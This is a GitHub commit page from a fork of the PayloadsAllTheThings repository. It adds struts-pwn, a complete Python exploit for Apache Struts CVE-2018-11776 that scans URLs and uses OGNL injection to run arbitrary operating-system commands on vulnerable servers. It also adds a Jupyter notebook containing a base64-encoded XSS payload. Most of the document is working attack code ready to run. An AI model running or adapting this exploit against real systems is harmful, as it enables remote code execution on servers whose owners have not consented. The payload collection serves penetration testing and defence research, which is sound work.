forked from swisskyrepo/PayloadsAllTheThings
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
CVE Apache Struts + XSS in Python Notebook
- Loading branch information
1 parent
2a54753
commit c38adad
Showing
6 changed files
with
258 additions
and
0 deletions.
There are no files selected for viewing
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,226 @@ | ||
#!/usr/bin/env python3 | ||
# coding=utf-8 | ||
# ***************************************************** | ||
# struts-pwn: Apache Struts CVE-2018-11776 Exploit | ||
# Author: | ||
# Mazin Ahmed <Mazin AT MazinAhmed DOT net> | ||
# This code uses a payload from: | ||
# https://github.com/jas502n/St2-057 | ||
# ***************************************************** | ||
|
||
import argparse | ||
import random | ||
import requests | ||
import sys | ||
try: | ||
from urllib import parse as urlparse | ||
except ImportError: | ||
import urlparse | ||
|
||
# Disable SSL warnings | ||
try: | ||
import requests.packages.urllib3 | ||
requests.packages.urllib3.disable_warnings() | ||
except Exception: | ||
pass | ||
|
||
if len(sys.argv) <= 1: | ||
print('[*] CVE: 2018-11776 - Apache Struts2 S2-057') | ||
print('[*] Struts-PWN - @mazen160') | ||
print('\n%s -h for help.' % (sys.argv[0])) | ||
exit(0) | ||
|
||
|
||
parser = argparse.ArgumentParser() | ||
parser.add_argument("-u", "--url", | ||
dest="url", | ||
help="Check a single URL.", | ||
action='store') | ||
parser.add_argument("-l", "--list", | ||
dest="usedlist", | ||
help="Check a list of URLs.", | ||
action='store') | ||
parser.add_argument("-c", "--cmd", | ||
dest="cmd", | ||
help="Command to execute. (Default: 'id')", | ||
action='store', | ||
default='id') | ||
parser.add_argument("--exploit", | ||
dest="do_exploit", | ||
help="Exploit.", | ||
action='store_true') | ||
|
||
|
||
args = parser.parse_args() | ||
url = args.url if args.url else None | ||
usedlist = args.usedlist if args.usedlist else None | ||
cmd = args.cmd if args.cmd else None | ||
do_exploit = args.do_exploit if args.do_exploit else None | ||
|
||
headers = { | ||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)', | ||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', | ||
'Accept': '*/*' | ||
} | ||
timeout = 3 | ||
|
||
|
||
def parse_url(url): | ||
""" | ||
Parses the URL. | ||
""" | ||
|
||
# url: http://example.com/demo/struts2-showcase/index.action | ||
|
||
url = url.replace('#', '%23') | ||
url = url.replace(' ', '%20') | ||
|
||
if ('://' not in url): | ||
url = str("http://") + str(url) | ||
scheme = urlparse.urlparse(url).scheme | ||
|
||
# Site: http://example.com | ||
site = scheme + '://' + urlparse.urlparse(url).netloc | ||
|
||
# FilePath: /demo/struts2-showcase/index.action | ||
file_path = urlparse.urlparse(url).path | ||
if (file_path == ''): | ||
file_path = '/' | ||
|
||
# Filename: index.action | ||
try: | ||
filename = url.split('/')[-1] | ||
except IndexError: | ||
filename = '' | ||
|
||
# File Dir: /demo/struts2-showcase/ | ||
file_dir = file_path.rstrip(filename) | ||
if (file_dir == ''): | ||
file_dir = '/' | ||
|
||
return({"site": site, | ||
"file_dir": file_dir, | ||
"filename": filename}) | ||
|
||
|
||
def build_injection_inputs(url): | ||
""" | ||
Builds injection inputs for the check. | ||
""" | ||
|
||
parsed_url = parse_url(url) | ||
injection_inputs = [] | ||
url_directories = parsed_url["file_dir"].split("/") | ||
|
||
try: | ||
url_directories.remove("") | ||
except ValueError: | ||
pass | ||
|
||
for i in range(len(url_directories)): | ||
injection_entry = "/".join(url_directories[:i]) | ||
|
||
if not injection_entry.startswith("/"): | ||
injection_entry = "/%s" % (injection_entry) | ||
|
||
if not injection_entry.endswith("/"): | ||
injection_entry = "%s/" % (injection_entry) | ||
|
||
injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload. | ||
injection_entry += parsed_url["filename"] | ||
|
||
injection_inputs.append(injection_entry) | ||
|
||
return(injection_inputs) | ||
|
||
|
||
def check(url): | ||
random_value = int(''.join(random.choice('0123456789') for i in range(2))) | ||
multiplication_value = random_value * random_value | ||
injection_points = build_injection_inputs(url) | ||
parsed_url = parse_url(url) | ||
print("[%] Checking for CVE-2018-11776") | ||
print("[*] URL: %s" % (url)) | ||
print("[*] Total of Attempts: (%s)" % (len(injection_points))) | ||
attempts_counter = 0 | ||
|
||
for injection_point in injection_points: | ||
attempts_counter += 1 | ||
print("[%s/%s]" % (attempts_counter, len(injection_points))) | ||
testing_url = "%s%s" % (parsed_url["site"], injection_point) | ||
testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value)) | ||
try: | ||
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) | ||
except Exception as e: | ||
print("EXCEPTION::::--> " + str(e)) | ||
continue | ||
if "Location" in resp.headers.keys(): | ||
if str(multiplication_value) in resp.headers['Location']: | ||
print("[*] Status: Vulnerable!") | ||
return(injection_point) | ||
print("[*] Status: Not Affected.") | ||
return(None) | ||
|
||
|
||
def exploit(url, cmd): | ||
parsed_url = parse_url(url) | ||
|
||
injection_point = check(url) | ||
if injection_point is None: | ||
print("[%] Target is not vulnerable.") | ||
return(0) | ||
print("[%] Exploiting...") | ||
|
||
payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd) | ||
|
||
testing_url = "%s%s" % (parsed_url["site"], injection_point) | ||
testing_url = testing_url.replace("{{INJECTION_POINT}}", payload) | ||
|
||
try: | ||
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) | ||
except Exception as e: | ||
print("EXCEPTION::::--> " + str(e)) | ||
return(1) | ||
|
||
print("[%] Response:") | ||
print(resp.text) | ||
return(0) | ||
|
||
|
||
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit): | ||
if url: | ||
if not do_exploit: | ||
check(url) | ||
else: | ||
exploit(url, cmd) | ||
|
||
if usedlist: | ||
URLs_List = [] | ||
try: | ||
f_file = open(str(usedlist), "r") | ||
URLs_List = f_file.read().replace("\r", "").split("\n") | ||
try: | ||
URLs_List.remove("") | ||
except ValueError: | ||
pass | ||
f_file.close() | ||
except Exception as e: | ||
print("Error: There was an error in reading list file.") | ||
print("Exception: " + str(e)) | ||
exit(1) | ||
for url in URLs_List: | ||
if not do_exploit: | ||
check(url) | ||
else: | ||
exploit(url, cmd) | ||
|
||
print("[%] Done.") | ||
|
||
|
||
if __name__ == "__main__": | ||
try: | ||
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit) | ||
except KeyboardInterrupt: | ||
print("\nKeyboardInterrupt Detected.") | ||
print("Exiting...") | ||
exit(0) |
Empty file.
Empty file.
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
{ | ||
"cells": [ | ||
{ | ||
"cell_type": "markdown", | ||
"metadata": {}, | ||
"source": [ | ||
"[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+Cg==)\n" | ||
] | ||
} | ||
], | ||
"metadata": { | ||
"kernelspec": { | ||
"display_name": "Python 3", | ||
"language": "python", | ||
"name": "python3" | ||
}, | ||
"language_info": { | ||
"codemirror_mode": { | ||
"name": "ipython", | ||
"version": 3 | ||
}, | ||
"file_extension": ".py", | ||
"mimetype": "text/x-python", | ||
"name": "python", | ||
"nbconvert_exporter": "python", | ||
"pygments_lexer": "ipython3", | ||
"version": "3.6.2" | ||
} | ||
}, | ||
"nbformat": 4, | ||
"nbformat_minor": 2 | ||
} |